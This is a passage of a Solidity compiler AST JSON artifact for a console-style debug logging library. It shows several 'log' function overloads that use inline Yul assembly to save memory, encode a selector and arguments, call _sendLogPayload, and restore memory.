"expression":{"arguments":[{"kind":"number","nativeSrc":"253434:4:22","nodeType":"YulLiteral","src":"253434:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"253440:2:22","nodeType":"YulIdentifier","src":"253440:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253427:6:22","nodeType":"YulIdentifier","src":"253427:6:22"},"nativeSrc":"253427:16:22","nodeType":"YulFunctionCall","src":"253427:16:22"},"nativeSrc":"253427:16:22","nodeType":"YulExpressionStatement","src":"253427:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253463:4:22","nodeType":"YulLiteral","src":"253463:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"253469:2:22","nodeType":"YulIdentifier","src":"253469:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253456:6:22","nodeType":"YulIdentifier","src":"253456:6:22"},"nativeSrc":"253456:16:22","nodeType":"YulFunctionCall","src":"253456:16:22"},"nativeSrc":"253456:16:22","nodeType":"YulExpressionStatement","src":"253456:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42122,"isOffset":false,"isSlot":false,"src":"253295:2:22","valueSize":1},{"declaration":42125,"isOffset":false,"isSlot":false,"src":"253324:2:22","valueSize":1},{"declaration":42128,"isOffset":false,"isSlot":false,"src":"253353:2:22","valueSize":1},{"declaration":42131,"isOffset":false,"isSlot":false,"src":"253382:2:22","valueSize":1},{"declaration":42134,"isOffset":false,"isSlot":false,"src":"253411:2:22","valueSize":1},{"declaration":42137,"isOffset":false,"isSlot":false,"src":"253440:2:22","valueSize":1},{"declaration":42140,"isOffset":false,"isSlot":false,"src":"253469:2:22","valueSize":1}],"id":42148,"nodeType":"InlineAssembly","src":"253259:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"252169:3:22","parameters":{"id":42119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42112,"mutability":"mutable","name":"p0","nameLocation":"252181:2:22","nodeType":"VariableDeclaration","scope":42150,"src":"252173:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42111,"name":"uint256","nodeType":"ElementaryTypeName","src":"252173:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42114,"mutability":"mutable","name":"p1","nameLocation":"252190:2:22","nodeType":"VariableDeclaration","scope":42150,"src":"252185:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42113,"name":"bool","nodeType":"ElementaryTypeName","src":"252185:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42116,"mutability":"mutable","name":"p2","nameLocation":"252199:2:22","nodeType":"VariableDeclaration","scope":42150,"src":"252194:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42115,"name":"bool","nodeType":"ElementaryTypeName","src":"252194:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42118,"mutability":"mutable","name":"p3","nameLocation":"252211:2:22","nodeType":"VariableDeclaration","scope":42150,"src":"252203:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42117,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252203:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"252172:42:22"},"returnParameters":{"id":42120,"nodeType":"ParameterList","parameters":[],"src":"252229:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42184,"nodeType":"FunctionDefinition","src":"253494:786:22","nodes":[],"body":{"id":42183,"nodeType":"Block","src":"253566:714:22","nodes":[],"statements":[{"assignments":[42162],"declarations":[{"constant":false,"id":42162,"mutability":"mutable","name":"m0","nameLocation":"253584:2:22","nodeType":"VariableDeclaration","scope":42183,"src":"253576:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42161,"name":"bytes32","nodeType":"ElementaryTypeName","src":"253576:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42163,"nodeType":"VariableDeclarationStatement","src":"253576:10:22"},{"assignments":[42165],"declarations":[{"constant":false,"id":42165,"mutability":"mutable","name":"m1","nameLocation":"253604:2:22","nodeType":"VariableDeclaration","scope":42183,"src":"253596:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42164,"name":"bytes32","nodeType":"ElementaryTypeName","src":"253596:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42166,"nodeType":"VariableDeclarationStatement","src":"253596:10:22"},{"assignments":[42168],"declarations":[{"constant":false,"id":42168,"mutability":"mutable","name":"m2","nameLocation":"253624:2:22","nodeType":"VariableDeclaration","scope":42183,"src":"253616:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42167,"name":"bytes32","nodeType":"ElementaryTypeName","src":"253616:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42169,"nodeType":"VariableDeclarationStatement","src":"253616:10:22"},{"assignments":[42171],"declarations":[{"constant":false,"id":42171,"mutability":"mutable","name":"m3","nameLocation":"253644:2:22","nodeType":"VariableDeclaration","scope":42183,"src":"253636:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42170,"name":"bytes32","nodeType":"ElementaryTypeName","src":"253636:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42172,"nodeType":"VariableDeclarationStatement","src":"253636:10:22"},{"assignments":[42174],"declarations":[{"constant":false,"id":42174,"mutability":"mutable","name":"m4","nameLocation":"253664:2:22","nodeType":"VariableDeclaration","scope":42183,"src":"253656:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"253656:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42175,"nodeType":"VariableDeclarationStatement","src":"253656:10:22"},{"AST":{"nativeSrc":"253685:378:22","nodeType":"YulBlock","src":"253685:378:22","statements":[{"nativeSrc":"253699:17:22","nodeType":"YulAssignment","src":"253699:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"253711:4:22","nodeType":"YulLiteral","src":"253711:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"253705:5:22","nodeType":"YulIdentifier","src":"253705:5:22"},"nativeSrc":"253705:11:22","nodeType":"YulFunctionCall","src":"253705:11:22"},"variableNames":[{"name":"m0","nativeSrc":"253699:2:22","nodeType":"YulIdentifier","src":"253699:2:22"}]},{"nativeSrc":"253729:17:22","nodeType":"YulAssignment","src":"253729:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"253741:4:22","nodeType":"YulLiteral","src":"253741:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"253735:5:22","nodeType":"YulIdentifier","src":"253735:5:22"},"nativeSrc":"253735:11:22","nodeType":"YulFunctionCall","src":"253735:11:22"},"variableNames":[{"name":"m1","nativeSrc":"253729:2:22","nodeType":"YulIdentifier","src":"253729:2:22"}]},{"nativeSrc":"253759:17:22","nodeType":"YulAssignment","src":"253759:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"253771:4:22","nodeType":"YulLiteral","src":"253771:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"253765:5:22","nodeType":"YulIdentifier","src":"253765:5:22"},"nativeSrc":"253765:11:22","nodeType":"YulFunctionCall","src":"253765:11:22"},"variableNames":[{"name":"m2","nativeSrc":"253759:2:22","nodeType":"YulIdentifier","src":"253759:2:22"}]},{"nativeSrc":"253789:17:22","nodeType":"YulAssignment","src":"253789:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"253801:4:22","nodeType":"YulLiteral","src":"253801:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"253795:5:22","nodeType":"YulIdentifier","src":"253795:5:22"},"nativeSrc":"253795:11:22","nodeType":"YulFunctionCall","src":"253795:11:22"},"variableNames":[{"name":"m3","nativeSrc":"253789:2:22","nodeType":"YulIdentifier","src":"253789:2:22"}]},{"nativeSrc":"253819:17:22","nodeType":"YulAssignment","src":"253819:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"253831:4:22","nodeType":"YulLiteral","src":"253831:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"253825:5:22","nodeType":"YulIdentifier","src":"253825:5:22"},"nativeSrc":"253825:11:22","nodeType":"YulFunctionCall","src":"253825:11:22"},"variableNames":[{"name":"m4","nativeSrc":"253819:2:22","nodeType":"YulIdentifier","src":"253819:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253920:4:22","nodeType":"YulLiteral","src":"253920:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"253926:10:22","nodeType":"YulLiteral","src":"253926:10:22","type":"","value":"0x88cb6041"}],"functionName":{"name":"mstore","nativeSrc":"253913:6:22","nodeType":"YulIdentifier","src":"253913:6:22"},"nativeSrc":"253913:24:22","nodeType":"YulFunctionCall","src":"253913:24:22"},"nativeSrc":"253913:24:22","nodeType":"YulExpressionStatement","src":"253913:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253957:4:22","nodeType":"YulLiteral","src":"253957:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"253963:2:22","nodeType":"YulIdentifier","src":"253963:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253950:6:22","nodeType":"YulIdentifier","src":"253950:6:22"},"nativeSrc":"253950:16:22","nodeType":"YulFunctionCall","src":"253950:16:22"},"nativeSrc":"253950:16:22","nodeType":"YulExpressionStatement","src":"253950:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253986:4:22","nodeType":"YulLiteral","src":"253986:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"253992:2:22","nodeType":"YulIdentifier","src":"253992:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253979:6:22","nodeType":"YulIdentifier","src":"253979:6:22"},"nativeSrc":"253979:16:22","nodeType":"YulFunctionCall","src":"253979:16:22"},"nativeSrc":"253979:16:22","nodeType":"YulExpressionStatement","src":"253979:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254015:4:22","nodeType":"YulLiteral","src":"254015:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"254021:2:22","nodeType":"YulIdentifier","src":"254021:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254008:6:22","nodeType":"YulIdentifier","src":"254008:6:22"},"nativeSrc":"254008:16:22","nodeType":"YulFunctionCall","src":"254008:16:22"},"nativeSrc":"254008:16:22","nodeType":"YulExpressionStatement","src":"254008:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254044:4:22","nodeType":"YulLiteral","src":"254044:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"254050:2:22","nodeType":"YulIdentifier","src":"254050:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254037:6:22","nodeType":"YulIdentifier","src":"254037:6:22"},"nativeSrc":"254037:16:22","nodeType":"YulFunctionCall","src":"254037:16:22"},"nativeSrc":"254037:16:22","nodeType":"YulExpressionStatement","src":"254037:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42162,"isOffset":false,"isSlot":false,"src":"253699:2:22","valueSize":1},{"declaration":42165,"isOffset":false,"isSlot":false,"src":"253729:2:22","valueSize":1},{"declaration":42168,"isOffset":false,"isSlot":false,"src":"253759:2:22","valueSize":1},{"declaration":42171,"isOffset":false,"isSlot":false,"src":"253789:2:22","valueSize":1},{"declaration":42174,"isOffset":false,"isSlot":false,"src":"253819:2:22","valueSize":1},{"declaration":42152,"isOffset":false,"isSlot":false,"src":"253963:2:22","valueSize":1},{"declaration":42154,"isOffset":false,"isSlot":false,"src":"253992:2:22","valueSize":1},{"declaration":42156,"isOffset":false,"isSlot":false,"src":"254021:2:22","valueSize":1},{"declaration":42158,"isOffset":false,"isSlot":false,"src":"254050:2:22","valueSize":1}],"id":42176,"nodeType":"InlineAssembly","src":"253676:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42178,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"254088:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42179,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"254094:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42177,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"254072:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"254072:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42181,"nodeType":"ExpressionStatement","src":"254072:27:22"},{"AST":{"nativeSrc":"254118:156:22","nodeType":"YulBlock","src":"254118:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"254139:4:22","nodeType":"YulLiteral","src":"254139:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"254145:2:22","nodeType":"YulIdentifier","src":"254145:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254132:6:22","nodeType":"YulIdentifier","src":"254132:6:22"},"nativeSrc":"254132:16:22","nodeType":"YulFunctionCall","src":"254132:16:22"},"nativeSrc":"254132:16:22","nodeType":"YulExpressionStatement","src":"254132:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254168:4:22","nodeType":"YulLiteral","src":"254168:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"254174:2:22","nodeType":"YulIdentifier","src":"254174:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254161:6:22","nodeType":"YulIdentifier","src":"254161:6:22"},"nativeSrc":"254161:16:22","nodeType":"YulFunctionCall","src":"254161:16:22"},"nativeSrc":"254161:16:22","nodeType":"YulExpressionStatement","src":"254161:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254197:4:22","nodeType":"YulLiteral","src":"254197:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"254203:2:22","nodeType":"YulIdentifier","src":"254203:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254190:6:22","nodeType":"YulIdentifier","src":"254190:6:22"},"nativeSrc":"254190:16:22","nodeType":"YulFunctionCall","src":"254190:16:22"},"nativeSrc":"254190:16:22","nodeType":"YulExpressionStatement","src":"254190:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254226:4:22","nodeType":"YulLiteral","src":"254226:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"254232:2:22","nodeType":"YulIdentifier","src":"254232:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254219:6:22","nodeType":"YulIdentifier","src":"254219:6:22"},"nativeSrc":"254219:16:22","nodeType":"YulFunctionCall","src":"254219:16:22"},"nativeSrc":"254219:16:22","nodeType":"YulExpressionStatement","src":"254219:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254255:4:22","nodeType":"YulLiteral","src":"254255:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"254261:2:22","nodeType":"YulIdentifier","src":"254261:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254248:6:22","nodeType":"YulIdentifier","src":"254248:6:22"},"nativeSrc":"254248:16:22","nodeType":"YulFunctionCall","src":"254248:16:22"},"nativeSrc":"254248:16:22","nodeType":"YulExpressionStatement","src":"254248:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42162,"isOffset":false,"isSlot":false,"src":"254145:2:22","valueSize":1},{"declaration":42165,"isOffset":false,"isSlot":false,"src":"254174:2:22","valueSize":1},{"declaration":42168,"isOffset":false,"isSlot":false,"src":"254203:2:22","valueSize":1},{"declaration":42171,"isOffset":false,"isSlot":false,"src":"254232:2:22","valueSize":1},{"declaration":42174,"isOffset":false,"isSlot":false,"src":"254261:2:22","valueSize":1}],"id":42182,"nodeType":"InlineAssembly","src":"254109:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"253503:3:22","parameters":{"id":42159,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42152,"mutability":"mutable","name":"p0","nameLocation":"253515:2:22","nodeType":"VariableDeclaration","scope":42184,"src":"253507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42151,"name":"uint256","nodeType":"ElementaryTypeName","src":"253507:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42154,"mutability":"mutable","name":"p1","nameLocation":"253524:2:22","nodeType":"VariableDeclaration","scope":42184,"src":"253519:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42153,"name":"bool","nodeType":"ElementaryTypeName","src":"253519:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42156,"mutability":"mutable","name":"p2","nameLocation":"253536:2:22","nodeType":"VariableDeclaration","scope":42184,"src":"253528:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42155,"name":"uint256","nodeType":"ElementaryTypeName","src":"253528:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42158,"mutability":"mutable","name":"p3","nameLocation":"253548:2:22","nodeType":"VariableDeclaration","scope":42184,"src":"253540:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42157,"name":"address","nodeType":"ElementaryTypeName","src":"253540:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"253506:45:22"},"returnParameters":{"id":42160,"nodeType":"ParameterList","parameters":[],"src":"253566:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42218,"nodeType":"FunctionDefinition","src":"254286:780:22","nodes":[],"body":{"id":42217,"nodeType":"Block","src":"254355:711:22","nodes":[],"statements":[{"assignments":[42196],"declarations":[{"constant":false,"id":42196,"mutability":"mutable","name":"m0","nameLocation":"254373:2:22","nodeType":"VariableDeclaration","scope":42217,"src":"254365:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42195,"name":"bytes32","nodeType":"ElementaryTypeName","src":"254365:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42197,"nodeType":"VariableDeclarationStatement","src":"254365:10:22"},{"assignments":[42199],"declarations":[{"constant":false,"id":42199,"mutability":"mutable","name":"m1","nameLocation":"254393:2:22","nodeType":"VariableDeclaration","scope":42217,"src":"254385:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42198,"name":"bytes32","nodeType":"ElementaryTypeName","src":"254385:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42200,"nodeType":"VariableDeclarationStatement","src":"254385:10:22"},{"assignments":[42202],"declarations":[{"constant":false,"id":42202,"mutability":"mutable","name":"m2","nameLocation":"254413:2:22","nodeType":"VariableDeclaration","scope":42217,"src":"254405:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42201,"name":"bytes32","nodeType":"ElementaryTypeName","src":"254405:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42203,"nodeType":"VariableDeclarationStatement","src":"254405:10:22"},{"assignments":[42205],"declarations":[{"constant":false,"id":42205,"mutability":"mutable","name":"m3","nameLocation":"254433:2:22","nodeType":"VariableDeclaration","scope":42217,"src":"254425:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42204,"name":"bytes32","nodeType":"ElementaryTypeName","src":"254425:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42206,"nodeType":"VariableDeclarationStatement","src":"254425:10:22"},{"assignments":[42208],"declarations":[{"constant":false,"id":42208,"mutability":"mutable","name":"m4","nameLocation":"254453:2:22","nodeType":"VariableDeclaration","scope":42217,"src":"254445:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42207,"name":"bytes32","nodeType":"ElementaryTypeName","src":"254445:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42209,"nodeType":"VariableDeclarationStatement","src":"254445:10:22"},{"AST":{"nativeSrc":"254474:375:22","nodeType":"YulBlock","src":"254474:375:22","statements":[{"nativeSrc":"254488:17:22","nodeType":"YulAssignment","src":"254488:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"254500:4:22","nodeType":"YulLiteral","src":"254500:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"254494:5:22","nodeType":"YulIdentifier","src":"254494:5:22"},"nativeSrc":"254494:11:22","nodeType":"YulFunctionCall","src":"254494:11:22"},"variableNames":[{"name":"m0","nativeSrc":"254488:2:22","nodeType":"YulIdentifier","src":"254488:2:22"}]},{"nativeSrc":"254518:17:22","nodeType":"YulAssignment","src":"254518:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"254530:4:22","nodeType":"YulLiteral","src":"254530:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"254524:5:22","nodeType":"YulIdentifier","src":"254524:5:22"},"nativeSrc":"254524:11:22","nodeType":"YulFunctionCall","src":"254524:11:22"},"variableNames":[{"name":"m1","nativeSrc":"254518:2:22","nodeType":"YulIdentifier","src":"254518:2:22"}]},{"nativeSrc":"254548:17:22","nodeType":"YulAssignment","src":"254548:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"254560:4:22","nodeType":"YulLiteral","src":"254560:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"254554:5:22","nodeType":"YulIdentifier","src":"254554:5:22"},"nativeSrc":"254554:11:22","nodeType":"YulFunctionCall","src":"254554:11:22"},"variableNames":[{"name":"m2","nativeSrc":"254548:2:22","nodeType":"YulIdentifier","src":"254548:2:22"}]},{"nativeSrc":"254578:17:22","nodeType":"YulAssignment","src":"254578:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"254590:4:22","nodeType":"YulLiteral","src":"254590:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"254584:5:22","nodeType":"YulIdentifier","src":"254584:5:22"},"nativeSrc":"254584:11:22","nodeType":"YulFunctionCall","src":"254584:11:22"},"variableNames":[{"name":"m3","nativeSrc":"254578:2:22","nodeType":"YulIdentifier","src":"254578:2:22"}]},{"nativeSrc":"254608:17:22","nodeType":"YulAssignment","src":"254608:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"254620:4:22","nodeType":"YulLiteral","src":"254620:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"254614:5:22","nodeType":"YulIdentifier","src":"254614:5:22"},"nativeSrc":"254614:11:22","nodeType":"YulFunctionCall","src":"254614:11:22"},"variableNames":[{"name":"m4","nativeSrc":"254608:2:22","nodeType":"YulIdentifier","src":"254608:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254706:4:22","nodeType":"YulLiteral","src":"254706:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"254712:10:22","nodeType":"YulLiteral","src":"254712:10:22","type":"","value":"0x91a02e2a"}],"functionName":{"name":"mstore","nativeSrc":"254699:6:22","nodeType":"YulIdentifier","src":"254699:6:22"},"nativeSrc":"254699:24:22","nodeType":"YulFunctionCall","src":"254699:24:22"},"nativeSrc":"254699:24:22","nodeType":"YulExpressionStatement","src":"254699:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254743:4:22","nodeType":"YulLiteral","src":"254743:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"254749:2:22","nodeType":"YulIdentifier","src":"254749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254736:6:22","nodeType":"YulIdentifier","src":"254736:6:22"},"nativeSrc":"254736:16:22","nodeType":"YulFunctionCall","src":"254736:16:22"},"nativeSrc":"254736:16:22","nodeType":"YulExpressionStatement","src":"254736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254772:4:22","nodeType":"YulLiteral","src":"254772:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"254778:2:22","nodeType":"YulIdentifier","src":"254778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254765:6:22","nodeType":"YulIdentifier","src":"254765:6:22"},"nativeSrc":"254765:16:22","nodeType":"YulFunctionCall","src":"254765:16:22"},"nativeSrc":"254765:16:22","nodeType":"YulExpressionStatement","src":"254765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254801:4:22","nodeType":"YulLiteral","src":"254801:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"254807:2:22","nodeType":"YulIdentifier","src":"254807:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254794:6:22","nodeType":"YulIdentifier","src":"254794:6:22"},"nativeSrc":"254794:16:22","nodeType":"YulFunctionCall","src":"254794:16:22"},"nativeSrc":"254794:16:22","nodeType":"YulExpressionStatement","src":"254794:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254830:4:22","nodeType":"YulLiteral","src":"254830:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"254836:2:22","nodeType":"YulIdentifier","src":"254836:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254823:6:22","nodeType":"YulIdentifier","src":"254823:6:22"},"nativeSrc":"254823:16:22","nodeType":"YulFunctionCall","src":"254823:16:22"},"nativeSrc":"254823:16:22","nodeType":"YulExpressionStatement","src":"254823:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42196,"isOffset":false,"isSlot":false,"src":"254488:2:22","valueSize":1},{"declaration":42199,"isOffset":false,"isSlot":false,"src":"254518:2:22","valueSize":1},{"declaration":42202,"isOffset":false,"isSlot":false,"src":"254548:2:22","valueSize":1},{"declaration":42205,"isOffset":false,"isSlot":false,"src":"254578:2:22","valueSize":1},{"declaration":42208,"isOffset":false,"isSlot":false,"src":"254608:2:22","valueSize":1},{"declaration":42186,"isOffset":false,"isSlot":false,"src":"254749:2:22","valueSize":1},{"declaration":42188,"isOffset":false,"isSlot":false,"src":"254778:2:22","valueSize":1},{"declaration":42190,"isOffset":false,"isSlot":false,"src":"254807:2:22","valueSize":1},{"declaration":42192,"isOffset":false,"isSlot":false,"src":"254836:2:22","valueSize":1}],"id":42210,"nodeType":"InlineAssembly","src":"254465:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42212,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"254874:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42213,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"254880:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42211,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"254858:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 